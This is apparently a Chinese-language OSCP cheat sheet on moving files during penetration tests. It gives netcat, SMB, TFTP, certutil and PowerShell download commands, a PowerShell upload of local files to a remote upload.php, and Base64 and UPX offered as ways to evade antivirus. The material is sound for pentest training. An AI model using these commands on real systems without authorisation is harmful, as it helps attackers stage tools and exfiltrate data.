OSCP:常见文件传输方法
在渗透测试过程中,文件传输是一个关键环节,涉及不同的协议和工具,本文整理了 Linux 和 Windows 系统下常见的文件传输方法,并提供相应的命令示例。
通用文件传输方式
Base64 编码传输
Base64 可用于跨平台传输文件,避免因字符集或杀软拦截问题导致传输失败。
- 编码:
- Linux:
base64 -w0 < file > file.b64
- Windows:
certutil -encode file.dll file.b64
- Linux:
- 解码:
- Linux:
base64 -d file.b64 > file
- Windows:
certutil -decode file.b64 file.dll
- Linux:
HTTP 服务器(Python)
Python 内置 HTTP 服务器可用于快速文件传输:
- Python3:
python3 -m http.server 80
- Python2:
python -m SimpleHTTPServer 80
- 下载文件:
wget http://IP/file -O /tmp/file
Linux 文件传输
Netcat(nc)
Netcat 可用于文件传输,但需确保目标主机也安装了 nc
。
- 发送文件:
nc -nv $IP $PORT < file
- 接收文件:
nc -nlvp $PORT > file
SSH
- 上传文件:
scp file user@IP:/tmp/
- 下载文件:
scp user@IP:/tmp/file ./
FTP
- 文件传输模式
- 二进制模式(适用于可执行文件):
ftp > binary
- 文本模式(适用于可读内容):
ftp > ascii
- 二进制模式(适用于可执行文件):
了解二者区别可阅读这篇文章:FTP binary and ASCII transfer types and the case of corrupt files
- 快速搭建 FTP 服务器
apt-get install python-pyftpdlib
python -m pyftpdlib -p 21 -w
TFTP
TFTP 适用于传输小文件,但需要手动启动服务:
- 启动 TFTP 服务器:
service atftpd start
- 客户端下载文件:
tftp -i $IP GET file
- 客户端上传文件:
tftp -i $IP PUT file
- Windows 启用 TFTP:
pkgmgr /iu:"TFTP"
SMB(Windows 文件共享)
SMB 适用于 Windows 和 Linux 之间的文件共享。
- 在 Linux 启动 SMB 服务器:
impacket-smbserver -smb2support share ./
- Windows 访问 SMB 共享:
- 复制文件:
copy \IP\sharefile C:\Temp
- 挂载共享:
net use Z: \\IP\share
- 复制文件:
Windows 文件传输
PowerShell
- 下载文件:
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://IP/file', 'C:\file.exe')"
- 上传文件:
powershell -c "Invoke-RestMethod -Uri http://IP/upload.php -Method Post -Infile 'C:\file.exe'"
Certutil
Windows 内置 certutil 可用于文件下载:
certutil -urlcache -f http://IP/file C:\file.exe
其他方法
通过 UPX 压缩可执行文件(减少文件大小)
upx -9 file.exe
总结
文件传输在渗透测试过程中至关重要,常见方式包括:
- HTTP 服务器(Python 轻量级文件传输)
- SMB 共享(适用于 Windows 传输大文件)
- FTP/TFTP(适用于特定环境)
- Base64 编码(规避部分安全检测)
- PowerShell & Certutil(Windows 内置工具传输文件)
选择合适的传输方式,能有效提升渗透测试效率!